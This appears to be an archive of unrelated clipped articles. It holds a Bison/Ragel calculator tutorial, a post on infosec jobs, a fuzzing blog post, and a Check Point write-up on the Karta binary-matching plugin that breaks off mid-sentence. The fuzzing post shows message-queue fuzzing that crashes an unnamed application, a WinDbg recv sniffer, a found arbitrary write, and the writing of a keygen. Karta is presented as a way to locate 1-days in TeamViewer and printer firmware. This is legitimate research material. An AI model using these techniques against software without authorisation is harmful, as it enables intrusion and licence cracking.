The preamble is divided into subsections to support the narrative flow of the
article.

## Definitions

At the top of the file is specified the skeleton to use \(C++, as contained in
file lalr1.cc\), the required Bison version, the name of the namespace to
contain the generated parser class and the name of the class itself:

[code]

    %skeleton "lalr1.cc"
    %require "2.5"
    %defines
    %define namespace "Calc"
    %define parser_class_name "Parser"
[/code]

## Header Inclusion

Next appears a directive that allows the inclusion of code into the header
file that Bison will generate. This code must a\) define a forward-reference
for the Lexer class, b\) include any required headers and c\) define YYSTYPE,
the type that carries semantic values.

[code]

    %code requires {
      namespace Calc {class Lexer;}
      #include <cmath>
      #include <iostream>
      #define YYSTYPE double
    }
[/code]

## Parameters

To make the pipeline shown at the top of the article it is necessary to
instruct Bison to construct a parser class that takes a reference to a lexer
object as a parameter. Bison provides the %parse-param directive for this
purpose:

[code]

    %parse-param {Calc::Lexer& lexer}
[/code]

## Body Inclusion

Similar to the need to supply code to appear in the header file generated by
Bison, there is a need to supply code to appear in the generated code file:

[code]

    %code {
      #include "Lexer.hh"
      #define yylex lexer.lex
    }
[/code]

During compilation of the generated code it is necessary to have the full
defintion of the Lexer class rather than just a forward-reference.

One key part of the whole article is the definition of ‘yylex’ above. Bison
\(in C++ mode\) expects to call yylex\(\) repeatedly in order to obtain tokens
\(and optionally semantic values\) from the input source. This definition
connects this call to the instance of the Lexer class that will held by the
Parser class.

## Token Definitions

With organisation stuff out of the way the substance of the parser can now be
considered, starting with the definition of the various tokens that will be
supplied by the lexer:

[code]

    %token END     0 "end of file"
    %token LPAREN 40 "("
    %token RPAREN 41 ")"
    %token MUL    42 "*"
    %token PLUS   43 "+"
    %token MINUS  45 "-"
    %token DIV    47 "/"
    %token POW    94 "^"
    %token NUM
[/code]

As will be seen below, I have chosen to express the grammar using these
symbolic forms rather than directly writing ‘”/”‘ for instance.

## Precedences

The final part of the parser preamble is the necessary statement of operator
precedence:

[code]

    %left  PLUS MINUS
    %left  MUL DIV
    %left  NEG
    %right POW
[/code]

## Grammar

Now we come to the infix calculator grammar, which should be familiar to
anybody who has looked through the similar example in the Bison manual.

[code]

    %%
    
    input
        : /* empty */
        | exp {std::cout << $1 << '\n';}
        ;
    
    exp
        : NUM {$$ = $1;}
        | exp PLUS exp {$$ = $1 + $3;}
        | exp MINUS exp {$$ = $1 - $3;}
        | exp MUL exp {$$ = $1 * $3;}
        | exp DIV exp {$$ = $1 / $3;}
        | MINUS exp %prec NEG {$$ = -$2;}
        | exp POW exp {$$ = pow($1, $3);}
        | LPAREN exp RPAREN {$$ = $2;}
        ;
[/code]

Remember that this parser has a simplified input scheme so there is no need to
worry about the handling of input lines.

## Supporting Code

Bison-generated C++ parsers expect the user to supply an error handling
function. Bison will place the definition of this function into the ‘private’
section of the generated parser class in the header file. Complex error
handling is possible but this simple example just reports to the standard
error stream:

[code]

    %%
    
    void
    Calc::Parser::error
    (const location_type& loc, const std::string& msg)
    {
      std::cerr << loc << ": " << msg << '\n';
    }
[/code]

# Lexer

At this point a Bison grammar has been defined, including tokens and all
necessary supporting stuff. The definition of a lexer can now be made,
starting with a header file.

## Declaration

The lexer is declared as class Lexer in file Lexer.hh. I have chosen to put
the lexer into the same namespace as the parser. The Lexer class constructor
takes pointers to the start and end of the buffer to be tokenized. The lex\(\)
function supplies the interface required by Bison; that is, when called it
returns a token number and can optionally write to the semantic value. Bison
manages its own token stack – no work is needed here. The private part of the
class contains the data required for the functioning of the generated Ragel
machine. Please consult the Ragel user guide \(section 5.1\) for more details.

[code]

    #include "Parser.hh"
    
    namespace Calc
    {
      class Lexer
      {
      public:
        Lexer(char const*, char const*);
    
        Parser::token_type lex(Parser::semantic_type*);
    
      private:
        char const* p;
        char const* const pe;
        char const* const eof;
        int cs;
        char const* ts;
        char const* te;
        int act;
      };
    }
[/code]

## General

The Ragel source for the lexer is contained in file Lexer.rl.

Ragel takes a different approach to its input files to that of Bison: the file
is assumed to contain statements in the target language and a special
construct is used to break _into_ Ragel directives, including the
specification of the scanner itself. This means that the file dives straight
in to C++ with the \#include for the lexer’s own header file and those of
other headers required for the implementation:

[code]

    #include "Lexer.hh"
    #include <cstdlib>
    #include <string>
[/code]

## Machine

Next up is the definition of the lexer machine itself. I am not going to go
into detail about the construction of the lexer itself: this is more than
adequately described in the Ragel manual.

[code]

    %%{
      machine Lexer;
      alphtype char;
      write data;
        
      intlit = digit+;
        
      fltexp = [Ee] '-'? intlit;
        
      fltdot = '.' digit+ fltexp?;
        
      number = (intlit (fltdot | fltexp)? );
        
      ws = [ \t\n];
        
      main := |*
        
        number
          => {ret = Parser::token::NUM;
              *val = strtod(std::string(ts, te).c_str(), 0);
              fbreak;};
        
        '('
          => {ret = Parser::token::LPAREN; fbreak;};
        ')'
          => {ret = Parser::token::RPAREN; fbreak;};
        '+'
          => {ret = Parser::token::PLUS; fbreak;};
        '-'
          => {ret = Parser::token::MINUS; fbreak;};
        '*'
          => {ret = Parser::token::MUL; fbreak;};
        '/'
          => {ret = Parser::token::DIV; fbreak;};
        '^'
          => {ret = Parser::token::POW; fbreak;};
        
        ws;
        
      *|;
    }%%
[/code]

Some things should be noted here, the first being the use of ‘ret’ which is
the return value from the lex\(\) function that is defined below.

Second, note the use of ‘fbreak’ to cause Ragel to generate code that breaks
out of the scanning loop, returning control to the lex\(\) function and the
Bison parser. It should also be noted that the ‘ws’ alternative does not
return a token and does not break out of the scanning loop with the desired
result that whitespace is never seen by the parser.

Finally, the ‘number’ alternative manipulates the ‘val’ parameter, this being
the semantic value of the token and taking the form of a pointer to a double
\(as described above: YYSTYPE\).

## Constructor

Following the definition of the scanner the file reverts to being C++ source
and resumes with the definition of the constructor for the Lexer class.

[code]

    Calc::Lexer::Lexer
    (char const* p_, char const* pe_)
      : p(p_)
      , pe(pe_)
      , eof(pe_)
    {
      %% write init;
    }
[/code]

The constructor must manually initialize the buffer pointers but then uses a
Ragel directive to cause the generation of code to initialise the remaining
object data.

## lex\(\)

The final part of the lexer is the lex\(\) function itself which turns out to
be surprising simple. The ‘ret’ return variable is defined and initialised
with the END token so that empty input buffers will be handled correctly.

The rest of the function will be generated by Ragel from the machine
definition presented above. The form of this code depends on how Ragel is
invoked.

[code]

    Calc::Parser::token_type
    Calc::Lexer::lex
    (Parser::semantic_type* val)
    {
      Parser::token_type ret = Parser::token::END;
      %% write exec;
      return ret;
    }
[/code]

# main\(\)

The last piece of code needed for the calculator is the main\(\) function
which is found in file main.cc. The body of main\(\) consists of a loop over
the command-line arguments, passing each in turn as a buffer to an instance of
the Lexer class, which itself is given to an instance of the Parser class. The
parser instance parse\(\) function is called to perform the actual parsing
operation, printing results as they are calculated.

[code]

    #include "Lexer.hh" // includes Parser.hh
    #include <cstring>  // for strlen()
    
    int
    main
    (int argc, char const* argv[])
    {
      for(int arg = 1; arg < argc; ++arg) {
        Calc::Lexer lexer(argv[arg], argv[arg] + strlen(argv[arg]));
        Calc::Parser parser(lexer);
    
        parser.parse();
      }
    
      return 0;
    }
[/code]

# Building

The Makefile is straightforward if you come from a traditional command-line-
oriented Unix-y background. Explicit dependencies are provided to require the
execution of Bison and Ragel on their respective inputs before any attempt to
compile their outputs\!

[code]

    CXX = g++
    LNK = $(CXX)
    BISON = bison
    RAGEL = ragel
    
    all: calc
    
    clean:
        $(RM) *~ *.o calc
        $(RM) Parser.hh Parser.cc location.hh position.hh stack.hh Lexer.cc
    
    calc: Lexer.o Parser.o main.o
        $(LNK) $^ -o $@
    
    %.o: %.cc Makefile
        $(CXX) -c -o $@ $<
    
    Parser.cc: Parser.yy
        $(BISON) -o $@ $<
    
    Parser.yy: Lexer.hh
    
    Lexer.cc: Lexer.rl Parser.cc
        $(RAGEL) -C -o $@ $<
[/code]

# Conclusion

This article presents nothing new; Bison has been around for decades and Ragel
for a number of years. Both are very well documented. What is presented above
is a synthesis of the available information, showing how to bring these two
tools together such that developers can take advantage of the powerful
features of Ragel while staying with the established Bison parsing system.

The key steps involved can be summarised thus:

  * Make a forward-declaration of the lexer class available to the parser,
  * Use %parse-param to cause the parser to take and hold a lexer instance \(by reference\),
  * Define yylex to forward to some appropriately defined function of the referenced lexer instance.

With these three points satisfied everything else is just details.

About these ads

### Like this:

# Secure Channel - Network Security - The Coolest Jobs \(and Opportunities\)
in Information Security

**Created:**| _6/19/2009 8:50:05 AM_  
---|---  
**Updated:**| _6/19/2009 8:50:21 AM_  
**Author:**| __  
**Tags:**| _career_  
  

# The Coolest Jobs \(and Opportunities\) in Information Security

Recently, the SANS Institute published what it calls the “Top 20 Coolest Jobs
in Information Security.” According to the security training and resources
group, these jobs are:

  1. Information Security Crime Investigator/Forensics Expert
  2. System, Network and/or Web Penetration Tester
  3. Forensic Analyst
  4. Incident Responder
  5. Security Architect
  6. Malware Analyst
  7. Network Security Engineer
  8. Security Analyst
  9. Computer Crime Investigator
  10. CISO/CSO/Director of Security
  11. Application Penetration Tester
  12. Security Operations Center Analyst
  13. Prosecutor Specializing in Infosecurity Crimes
  14. Technical Director/Deputy CISO
  15. Intrusion Analyst
  16. Vulnerability Researcher/Exploit Developer
  17. Security Auditor
  18. Security-Savvy Software Developer
  19. Security Maven in an Application Developer Organization
  20. Disaster Recovery/Business Continuity Analyst/Manager

The SANS list is attached to a gated report, and it only provides descriptions
for four of the positions. Some of the jobs look redundant; what is the
difference between an “infosecurity crimes investigator” and “computer crimes
investigator”? Regardless, I think the real point of this list that security
jobs are still both the cool stuff like the stuff we see on the "CSI" TV shows
and they’re still a black art that few outside the realm have mastered. Given
that security remains a black art of sorts, the ability to find people with
the chops to do these cool jobs is exceedingly difficult. Many people talk a
good game about security and say they know what they’re doing, but the truth
is that it does take specialists to design, operate, maintain and manage a
well-oiled security infrastructure. So, looking at this list, where can
security solution and service providers add value? Where can solution
providers provide business managers with alternative resources to hiring?
**Disaster Recovery:** According to a new CompTIA study, 70 percent of
businesses have a disaster recovery plan, which shows that management
understand the importance of being able to restore data following a human or
act-of-God incident. However, businesses don’t always have the wherewithal or
resources to implement plans. Data backup and off-site managed storage is
among the more robust offerings in the market and a tremendous opportunity for
solution providers. **Security Architect:** This is the position of the master
designer, the guy who builds the better mousetrap. In olden days of
infosecurity, the security designer was the guy who wanted to spend all kinds
of money on technology and processes to lock everything down to the point
where functionality was lost. Today, a security architect is a guy who builds
systems that balance needed functionality and user productivity against
threats and budget constraints. A solution provider with solid architect
skills can design security systems that provide adequate data and
infrastructure protection without breaking the customer’s wallet—and that’s a
valuable skill in the eyes of customers. **Computer Crime Investigator:**
Yeah, this is the cool stuff, and it’s not reserved for cops and the feds.
Data collection and rules of evidence are quite specific if you have any hopes
of a successful prosecution. Collection of evidence for internal
administrative actions—such as terminating an employee for causing a breach or
stealing data—falls in this category. Solution providers who can provide this
service will score big business in coming years. **Forensic Analyst/Intrusion
Analyst:** Similar to a crime investigation, forensic analysts examine
breaches and security incidents to find the root causes and make
recommendations for improvements. For many organizations, there isn’t
necessarily enough forensics work for a full-time position. But the need is
great enough to contract with an expert solution provider for the service.
**Penetration Tester:** This is one of the best jobs in security. The sole
purpose of a pen tester is to bang away at a network or application until it
breaks. This is more than just vulnerability testing where you look for the
obvious. Pen testing is everything from attacks with finesse to brute force
assaults that don’t stop until holes are found. Again, it’s a solid service
opportunity. **Incident Responder:** Security breaches are not a matter of
“if” but “when.” And when a security breach does happen, it takes skilled
professionals to quickly recover from the incident and restore security
protections. Solution providers with teams that can parachute into an
organization following a breach will find their services highly valued by
clients. **Security Auditor:** Whether it’s PCI-DSS, Sarbanes-Oxley, SB 1386,
FISMA or any of the regulations that make up the growing list of governance
and regulatory compliance issues, auditors are needed to check the security
measures implemented by organizations to ensure they meet specifications. By
definition, this is a third-party chore, and one that’s filled by solution
providers and accounting firms alike. As GRC requirements increase, so too
will audit opportunities. What security jobs do you think are the coolest?
Where do you see security growth and business opportunities? Share your
thoughts here.  
---

# Payment Applications handle lots of money

**Created:**| _11/6/2013 9:55:37 PM_  
---|---  
**Updated:**| _11/7/2013 1:48:17 PM_  
**Author:**| _wishi_  
**Tags:**| _trading_  
  

  

<img src='img/swifty-icesurfer-RUXCON-2013 - Final-2(1).pptx' />  
  
  
  
  

  
<img src='img/swifty-icesurfer-RUXCON-2013 - Final-2.pdf' />  
  

# BT4 Backtrack 4 Guide

**Created:**| _9/6/2009 3:06:09 PM_  
---|---  
**Updated:**| _9/6/2009 3:06:33 PM_  
**Author:**| __  
**Tags:**| _security tools Live Distri pentest_  
  
<img src='img/Temp2_970' />

# Fuzzing Windows message queues — WTF? « dpunk\!

**Created:**| _7/20/2010 8:14:11 AM_  
---|---  
**Updated:**| _7/20/2010 8:14:23 AM_  
**Author:**| __  
**Tags:**| _zeroday Fuzzer windows environment bughunting_  
  

## Fuzzing Windows message queues — WTF?

Yeap, you can’t earn a living by coding fuzzers, analysis-framewoks-to-be-
in-100-years, weird YACC stuff etc. Since my monthly income is quite low, I
decided to undertake a free lancing job for a Greek organization which I
wouldn’t like to name. Among other things, the job involved reversing an
application and creating a keygen as well as investigating the several points
of I/O. Everything went pretty smoothly until I noticed that the application
in question defined several WM\_APP messages for internal use.

My first step was to launch Visual Studio’s Spy++ and start looking at the
events exchanged by the application components. It turned out that most of the
entries in Spy++’s list were not that interesting. Nevertheless, the following
events cought my attention.

[code]

    <00001> 000100D0 P message:0x8020 [User-defined:WM_APP+32] wParam:00000004 lParam:02574FD0
    ...
    <00004> 000100D0 P message:0x8002 [User-defined:WM_APP+2] wParam:00000004 lParam:02574FD0
    <00005> 000100D0 P message:0x8023 [User-defined:WM_APP+35] wParam:00000008 lParam:025C8C40
    <00006> 000100D0 P message:0x8002 [User-defined:WM_APP+2] wParam:00000008 lParam:025C8C40
    <00007> 000100D0 P message:0x8020 [User-defined:WM_APP+32] wParam:00000004 lParam:02539FD0
    ...
    <00010> 000100D0 P message:0x8002 [User-defined:WM_APP+2] wParam:00000004 lParam:02539FD0
    
[/code]

Due to the nature of the target application, detecting the handlers for those
custom events was quite difficult, so, I decided to have some fun before
firing up IDA pro. I devoted 10 minutes of my life to write a tiny C code that
would send those custom events to all of the application’s threads. For wParam
and lParam I used random values. It turned out that it wasn’t such a dumb idea
after all. The target crashed, and then it crashed again, and again, and
again…

The root cause of all those access violations was the fact the target
application assumed that the wParam and lParam values were valid memory
addresses\! For example, a call to SendMessage\(\) like the one below:

[code]

    lResult = SendMessage(pProcessHwnd->hWnd, 0x8002, 0x00400000, 0x00400000);
    fprintf(stderr, "\tLRESULT = 0x%.8p\n", lResult);
    
[/code]

Resulted in the following output in WinDBG’s command window.

[code]

    00497744 8b7e28          mov     edi,dword ptr [esi+28h] ds:0023:00400028=00000000
    0:003> r? esi
    esi=00400000
    
[/code]

Since the target application received network input my next step was to hook
all the calls to recv\(\) in order to find any static buffers for placing my
data. For this purpose, I created the following one-liner socket sniffer for
WinDBG :-P

[code]

    bp WS2_32!recv "r $t1 = poi(@esp + 8); pt \"dd @$t1; g\""
    
[/code]

I fired up the target, I monitored the network traffic and used netcat to send
some alphas at one of the network ports the application was receiving data.
This little test revealed 2-3 candidate buffers that were allocated at a fixed
point. Notice that, so far, no reversing took place. All of our assumptions
are based on pure observation \(which is a bad thing if you’re trying to code
a serious exploit\).

Continueing with the vulnerable code, after a bunch of irrelevant stuff, I
ended up in the following instruction where “eax” contains the return value of
CreateWindow\(\)\!

[code]

    mov     [esi+4], eax
    
[/code]

It turns out that we can write “eax” wherever we want\! I haven’t figured out
if it can be used to execute arbitrary code but I’m pretty sure the bytes
pointed by the window handle will contain something useful ;-\)

So that’s it for today. Before I end this post, I would like to share with you
a few links that got my attention this month…

  * windbg.info – A community for WinDBG users \(check out the “WinDbg. From A to Z\!” PDF, it rocks\!\).
  * REcon 2010 is over. Waiting for the material to go public\! Sean’s slides are already available at his blog.
  * Everything you need to know about SSA.
  * Indeed, it looks familiar.

Cya

– dp

# Karta – Matching Open Sources in Binaries - Check Point Research

**Created:**| _3/22/2019 8:03:20 AM_  
---|---  
**Updated:**| _3/22/2019 8:03:20 AM_  
**Author:**| __  
**Tags:**| _iDA analysis vulnerability_  
  

  

# Karta – Matching Open Sources in Binaries

March 21, 2019

**Research by:** Eyal Itkin

**Introduction**

“Karta” \(Russian for “map”\) is a source code assisted binary matching plugin
for IDA. The plugin was developed to match symbols for an open source library
in a very large binary, usually a firmware file. For those who deal daily with
firmware files, it’s a waste of time to have to repeatedly reverse net-snmp
_;_ there is a clear need for a tool to identify the used open sources, and
automatically match their symbols in IDA.

The original focus was for the matching process to happen quickly. Waiting
several hours just for matching a library of 300 functions isn’t acceptable,
even if the binary we are trying to reverse engineer contains more than
100,000 functions. However, combining several lessons from the reverse
engineering trade enabled us to solve this problem, with better than expected
results.

It turns out that the heuristics we deployed for performance reasons had great
impact on the matching results as well. The plugin produced very low False
Positive ratios, together with high True Positive ratio. This made it useful
even for matching small to medium binaries, which wasn’t on our initial
agenda.

Therefore, we feel Karta can be an important tool in the researcher’s toolbox,
and will be useful in the following scenarios:

  * Recon phase – Identify the used open sources in a binary \(including their versions\).
  * Clearing the clutter – Match symbols for used open sources, thus saving time reverse engineering what appear to be known functions.
  * Finding 1-Days – Use the list of used open sources, with their symbols already matched in the binary, to easily find 1-Days in executables \ firmware files.

**Karta**

As described previously, Karta is a source code assisted binary matching
plugin for IDA\*. The plugin achieves 2 important research goals:

  1. Identification – Identifies the exact versions of statically compiled open sources.
  2. Matching – Matches the symbols of the identified open sources.

The plugin is now open source, and can be found in our Github.

As compiling open source libraries on different architectures can sometimes be
a painful task, we removed this step by making our plugin architecture
independent. For example, if we want to match version 1.2.29 of the libpng
open source \(the one that is used in our HP OfficeJet firmware\), all we have
to do is to clone it from Github and compile it on our \(x86\) machine. After
it’s compiled, Karta can generate a canonical .json configuration file that
describes the library. Using this configuration, our plugin can now
successfully locate the library in the firmware, even though the firmware was
compiled to Big-Endian ARM Thumb mode.

\*Karta consists of modules, and the IDA disassembler module can be replaced
by any other disassembler module. Thanks to @megabeets\_, support for radare2
is now in the final development phases.

**Finding 1-Days**

While we described several use cases for our plugin, finding 1-days in popular
software is probably the most interesting. Here are two real life examples we
found during our research.

**HP OfficeJet Firmware**

During our FAX research _,_ we needed a 1-Day to use as a debugging
vulnerability. Eventually, we used Devil’s Ivy. After we finished developing
Karta, it was time to turn back to our firmware and check how Karta could have
helped us in our research.

The identifier plugin tells us that the used open source libraries in the
firmware are:

  * libpng: 1.2.29
  * zlib: 1.2.3
  * OpenSSL: 1.0.1.j
  * mDNSResponder: unknown
  * **gSOAP: 2.7**

Here we can see that gSOAP is indeed used, and a quick CVE search shows us
that it contains a critical vulnerability: CVE-2017-9765 \(Devil’s Ivy\).

After we quickly compiled a configuration for this version of gSOAP, we ran
our matcher and imported the matched symbols. Here we can see that the
vulnerable code function soap\_get\_pi was matched by Karta:

<img src='img/Temp2_4758.png' width='417' height='422' />

**Figure 1:** The decompiled soap\_get\_pi function, as matched by our plugin.

This is very good news for our plugin: it works as intended in a real-life
scenario \(too bad we only had it **after** we finished the FAX research\).

**Ordinary closed source program – TeamViewer**

Easily finding 1-Days in firmware is handy, but what about day-to-day programs
that we use on our Windows PC? While reading Project Zero’s blog post on
WebRTC, we saw they found a vulnerability in a library called libvpx:

CVE-2018-6155 is a use-after-free in a video codec called VP8. It is
interesting because it affects the VP8 library, libvpx as opposed to code in
WebRTC, so it has the potential to affect software that uses this library
other than WebRTC. A generic fix for libvpx was released as a result of this
bug.

This looks interesting, as Project Zero specifically says this vulnerability
“has the potential to affect software that uses this library other than
WebRTC.” We have TeamViewer installed on our computer, and it sounds like it
should use the same open source library, let’s check it out.

We opened TeamViewer.exe in IDA, and we started working while the analysis was
in progress. We downloaded the latest version of libvpx \(1.7.0\), wrote a
simple identifier for it, and added it to Karta. As we couldn’t wait for IDA
to finish the analysis, we stopped it and run Karta’s identifier plugin. The
identified open sources were:

  * zlib: 1.2.5
  * mDNSResponder: unknown
  * libjpeg: 8b
  * **libvpx: 1.6.1**

TeamViewer not only uses libvpx, but uses an old version from January 2017.

Looking at the patch that Google issued, we know that the function of interest
to us is vp8\_deblock, which looks like this:

<img src='img/Temp2_4760.png' width='537' height='138' />

**Figure 2:** Code snippet of vp8\_deblock function, vulnerable to
CVE-2018-6155.

We told IDA to resume the analysis, and proceeded to compile a Karta
configuration for libvpx, version 1.6.1. Once the configuration was ready, and
after IDA finished analyzing the binary, we ran Karta’s matcher plugin. As you
can see, the matcher found our vulnerable function:

<img src='img/Temp2_4751.png' width='576' height='47' />

**Figure 3:** Karta’s matching result show it matched the vulnerable function
– highlighted in blue.

After we imported the results back to IDA, we can clearly see, using the
numeric constants, that this was a correct match.

<img src='img/Temp2_4753.png' width='572' height='523' />

**Figure 4:** The vulnerable function, matched by our plugin, as seen in IDA
Pro.

And there we have it, we found a vulnerability in the TeamViewer program, and
we even know exactly where to put our breakpoint when we debug it.

The entire process took roughly 2 hours. The only bottleneck was IDA’s
analysis, as TeamViewer is a pretty large program, containing more than
143,000 functions.

**Karta – How Does it Work?**

**Binary Matching 101**

Binary matching, at its core, can be stripped down to the most basic problem:
we want to check if two functions, one from a compiled open source and the
other from our binary, represent the same function. To be able to compare the
two functions, we need to convert them into a unified basic representation,
usually called a “canonical representation.” This representation usually
includes a set of features we extracted from the function: a list of numeric
constants, a list of strings, the number of assembly instructions, etc.

When trying to match a group of related functions, for example, a compiled
open source project,, we store additional information in the canonical
representation so as to encode the relations between the functions: a list of
called functions \(callees\), a list of functions that call us \(callers\),
etc. Using this information, we can attempt to match two functions based on
their rule / location in the Control flow Graph \(CFG\).

Here we use some traditional binary matching tools, such as BinDiff or
Diaphora. While each matching tool has its own unique clever matching
heuristics, they are all based on the same reduction: comparing two canonical
representations and scoring the result. This means that binary matching tools
start by converting **all** of the functions into their canonical
representations, and continue from there.

**Avoiding the Memory Blow-Up**

When analyzing a binary with approximately 65,000 functions, like the firmware
of our OfficeJet printer, the process of building a canonical representation
for all of the functions simply doesn’t scale. It takes a very long time
\(usually more than an hour\), and can consume more than 3GBs in disk space.
Needless to say, loading this dataset to memory later on often crashes the
matching program.

If we want to match anything in huge binaries, we need to change tactics. As
open source libraries are relatively small, our problem can be described as:

  * M – number of functions in our open source
  * N – number of functions in the binary

We want to match M function in a binary of size N where M << N, ideally by
consuming memory that depends on M and not on N.

<img src='img/Temp2_4759.png' width='576' height='240' />

**Figure 5:** An illustration of the binary address space in which we attempt
to match our library.

**Key Idea – Linker Locality**

If we put aside a particular edge case that we will discuss later on, we can
strip down the process of compilation and linking to the following steps:

  1. The compiler compiles each source file independently, and creates a matching binary file \(.o for gcc, and .obj for visual studio\).
  2. The linker combines all of the binary files into a single binary blob.
  3. During the linking phase, this blob will be inserted **as-is** to the final program / firmware.

This leads to two important conclusions:

  1. The compiled source is contained in a single contiguous blob inside the firmware / executable.
  2. Once we find a single representative of that blob \(let it be called **anchor**\), we can speculate about the lower and upper bound of this blob in the binary, according to the number of functions we know that should be in this blob.

Essentially, this is the key point that Karta is based on.

**Karta – Building a Map**

Karta is a **source code assisted** tool. By leveraging the information from
the source code, we can build a map: which functions are contained in which
file, and what are the files that the library consists of.

This is the procedure to match the library in the binary:

  1. Start with a basic identifier script that checks if the library is used by the binary, and which version is used – O\(N\) time and O\(1\) memory consumption.
  2. Once identified, scan the binary in search of anchor functions – O\(N\) time and O\(1\) memory consumption.
  3. Use the located anchor functions to zoom-in on the speculated range of binary functions that could be part of our library – O\(1\) time and O\(1\) memory consumption.
  4. From this point, all of the logic will be on the focused scope, which is of size O\(M\).

Here is an example:

  * Our library has 322 functions, and we found 5 anchor functions.
  * The lowest anchor is at function \#2622 in the binary.
  * The highest anchor is at function \#2842 in the binary.
  * The contained range between the anchors includes 2842 – 2622 + 1 = 221 functions.
  * We still need to find 322 – 221 = 101 functions.
  * To be on the safe side, in our map, we include 101 functions before the first anchor and 101 functions after the last anchor.
  * Overall, the number of focused functions: 101 + 221 + 101 = 423 functions << 65,000 in the full binary.

All we have to do now is to build a canonical representation only for the
focused functions, thus drastically improving our performance from this point
onward.

**Note:** The map can be of further assistance, as a function foo\(\)from file
a.c should only be matched with functions from a.c. This eliminates the need
to compare it with functions that we already identified as residing in
different files.

**Choosing Our Anchors**

By their nature, anchor functions are matched **before** we have a canonical
representation. This limits the features we can use when searching for them.
In addition, we want to make sure that our anchors uniquely identify our
library, and do not include any false positives to other libraries that could
be in the binary we are handling.

It’s a bit ambitious to decide the criteria for complex unique features,
without knowing in advance what all of the open sources look like.
Nevertheless, we wrote some heuristics that seem to work well in practice. We
scan all of the functions in the open source and search for unique numeric
constants and unique strings. If the constants are complex enough \(numbers
with high entropy or long enough strings\) or can be grouped together to be
unique enough \(for example: 3 unique medium length strings in the same
function\), we mark the function as an anchor.

Here is an example for an anchor function found in OpenSSL:

<img src='img/Temp2_4764.png' width='469' height='364' />

**Figure 6:** Function SHA224\_Init from OpenSSL as seen in IDA Pro.

We chose this function because of its unique numeric constants.

The exact rules are configurable and can be found in this file:
src/config/anchor\_config.py

**Matching Steps**

Now that we know what is the main logic behind Karta’s matching engine, let’s
list the matching steps in full.

**Identifier**

Every supported library has an identifier that tries to locate it inside the
binary. As most open sources include unique strings, often with full version
details, most identifiers are string-based and configured for the library they
are trying to identify. Once the library is found, the identifier tries to
extract the version information, and to fingerprint the exact version that is
used by the executable / firmware.

Saying that open source projects try to hide their presence in the compiled
binary can’t be further from the truth. Not only do these libraries often
contain unique strings that a short Google search can identify as clues to the
original library, they often contain unnecessary information. Here is an
example of a copyright notice from libpng, a string that is compiled with the
binary:

**Figure 7:** A copyright string from libpng that is included in the compiled
binary.

As you can see, identifying the existence of open source libraries inside
executables is relatively easy in most use cases.

While there are other solutions for the identification phase, such as the one
described in Google’s Project Zero recent blog post, it seems that it is hard
to compete with this basic but effective simple string search. Relying on the
great results from our identifier, we decided to focus most of our efforts on
the matching logic, keeping our identifier neat and simple.

Due to the simplified nature of our identifier, we hope it will be easy for
other researchers to extend our plugin and to add support for new open source
libraries. As it’s open source, any contribution to our plugin will help other
researchers in the community with their projects as well.

**Anchor Search**

Using the information from the identifier, the configuration \(.json based\*\)
for the specific library version is loaded. The first step is to scan the
binary for the unique numeric constants and unique strings that match the
anchor functions of our library. Without an anchor, we can’t zoom-in on the
library and continue the matching process.

\*The entire configuration is loaded into memory once the match starts. This
removes the need to use the more popular sqlite database, as we have no
queries to issue on the configuration. This transition, from sqlite to json,
leads to a major decrease in the size of the configuration files \(KBs instead
of MBs\).

**File Boundaries**

Using the range of focused functions that was defined by the matched anchors,
we draw an initial sketch of our file map. We can pinpoint the location of
every file that contains a matched anchor function, and estimate its lower and
upper bounds \(using the same logic that was described earlier\). The rest of
the files are marked as “floating” and are referred to as “omnipresent”; they
can be anywhere inside the overall focus area.

<img src='img/Temp2_4762.png' width='576' height='126' />

**Figure 8:** An example map of our matching results so far.

**Using File Hints**

Many open source projects tend to include debug / trace strings that contain
the names of the source files. Usually these strings are located in functions
from the mentioned source file, which means we can use them as **file hints**.
After drawing the initial map, we can use these hints to pinpoint the location
of additional files. Relying on the fact that the search space is quite small,
and on the nature of those strings, these matches will have relatively high
True Positive ratios.

**Locating Agents**

An **agent** is a locally unique function. It can also be referred to as a
local anchor. Within its file it is an anchor, but the constants it contains
are weaker than those required from a global anchor. Each located file tries
to match its own agents, again with relatively high True Positive ratios.

**Matching Rounds**

From this point on, our logic is quite traditional. Every match attempt is
given a score, based on the similarities of the two canonical representations.
The matching ends when there are no more functions to match \(optimistic
scenario\), or when the matching round fails to find new matches, or when an
inner file identifies that an inner assumption fails to hold. The latter case
often happens when IDA has an analysis problem, or when there are linker
optimizations \(see next chapter\).

As mentioned previously, Karta attempts to use as much geographical knowledge
as it can, including:

  * Functions must be matched only with functions from the same file.
  * Static functions must not be referenced by functions from other files.
  * The compiler tends to maintain locality, which means the adjacent source function tends to stay adjacent in the binary form as well.

Each of these location-based heuristics has been shown to significantly
improve the matching results in real case scenarios. A full list of matching
heuristic tips can be found in Karta’s read-the-docs documentation, accessible
from our Github repository.

**Linker Optimizations**

Until this point, we chose to ignore the elephant in the room: Karta’s main
assumptions are that the open source will be compiled as a single contiguous
blob, and that the inner files are not mixed up with one another.
Unfortunately, this isn’t the case when compiling with linker optimizations,
as is already being done when using Visual studio to compile Windows programs.

Indeed, when we initially attempted to match libtiff in one of Adobe PDF’s
binaries \(2d.x3d\), we had less than optimal results: only 176 / 500
functions were matched. After a brief investigation, it seemed that the linker
combines functions with the same **binary** structure. For example, a function
that was implemented twice with different names or in different name scopes
\(static functions from different files\).

**Figure 9:** Two identical functions from libtiff that reside in _different_
files.

<img src='img/Temp2_4755.png' width='492' height='226' />

**Figure 10:** Analysis from IDA Pro, showing that the left function is used
instead of the right one.

While this optimization reduces the size of the executable, it not only messes
with our locality assumptions, it also drastically changes the control flow
graph. Two unrelated functions, each with its own edges, will be merged into a
single vertex in the call graph. Several quick checks later, we found that
this optimization damages the matching results of other binary matching tools
as well.

We decided to tackle this issue just like the linker does. When compiling the
canonical representation for the open source library, we hash the linker’s
view\* of each function, and store it as a unique function ID. \*Initially we
hashed the bytes themselves, but that introduced a bug when two functions
refer to the same global variable and that variable resides in different
offsets in each file. See Figure 11 and 12. We solved this issue by hashing
the bytes for most opcodes, and hashing the **text** of the instruction when
referring to an exported global variable.

<img src='img/Temp2_4752.png' width='566' height='379' />

**Figure 11:** Function TIFFClampDoubleToFloat\(\)from the file
tif\_dirwrite.c.

<img src='img/Temp2_4763.png' width='571' height='395' />

**Figure 12:** Function TIFFClampDoubleToFloat\(\)from the file tif\_dir.c.

Our matcher uses these “collision IDs” to define groups of potential merge
candidates that the linker might decide to merge together. During the matching
process, the matcher looks for clues of any possible merge. When the matcher
